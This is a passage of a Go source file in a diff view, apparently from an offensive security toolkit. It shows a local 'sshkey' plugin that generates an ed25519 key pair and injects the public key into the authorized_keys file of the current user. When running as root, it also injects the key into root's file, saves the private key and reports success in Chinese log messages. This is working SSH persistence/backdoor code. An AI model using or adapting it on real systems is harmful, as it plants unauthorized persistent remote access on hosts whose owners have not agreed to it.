|
}
|
||||||
|
|
||||||
|
output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile))
|
||||||
|
successCount++
|
||||||
|
}
|
||||||
|
|
||||||
|
if successCount > 0 {
|
||||||
|
common.LogSuccess(i18n.Tr("sshkey_success", successCount))
|
||||||
|
}
|
||||||
|
|
||||||
|
return &plugins.Result{
|
||||||
|
Success: successCount > 0,
|
||||||
|
Type: plugins.ResultTypeService,
|
||||||
|
Output: output.String(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *SSHKeyPlugin) getTargetUsers() []*user.User {
|
||||||
|
var targets []*user.User
|
||||||
|
|
||||||
|
if u, err := user.Current(); err == nil {
|
||||||
|
targets = append(targets, u)
|
||||||
|
}
|
||||||
|
|
||||||
|
// root 权限下额外注入 root 用户
|
||||||
|
if os.Getuid() == 0 {
|
||||||
|
if root, err := user.Lookup("root"); err == nil {
|
||||||
|
targets = append(targets, root)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return targets
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) {
|
||||||
|
pub, priv, err := ed25519.GenerateKey(rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
sshPub, err := ssh.NewPublicKey(pub)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub)))
|
||||||
|
|
||||||
|
privBytes, err := ssh.MarshalPrivateKey(priv, "")
|
||||||
|
if err != nil {
|
||||||
|
return "", "", err
|
||||||
|
}
|
||||||
|
privKeyStr = string(pem.EncodeToMemory(privBytes))
|
||||||
|
|
||||||
|
return pubKeyStr, privKeyStr, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func hostname() string {
|
||||||
|
h, _ := os.Hostname()
|
||||||
|
if h == "" {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return h
|
||||||
|
}
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
RegisterLocalPlugin("sshkey", func() Plugin {
|
||||||
|
return NewSSHKeyPlugin()
|
||||||
|
})
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user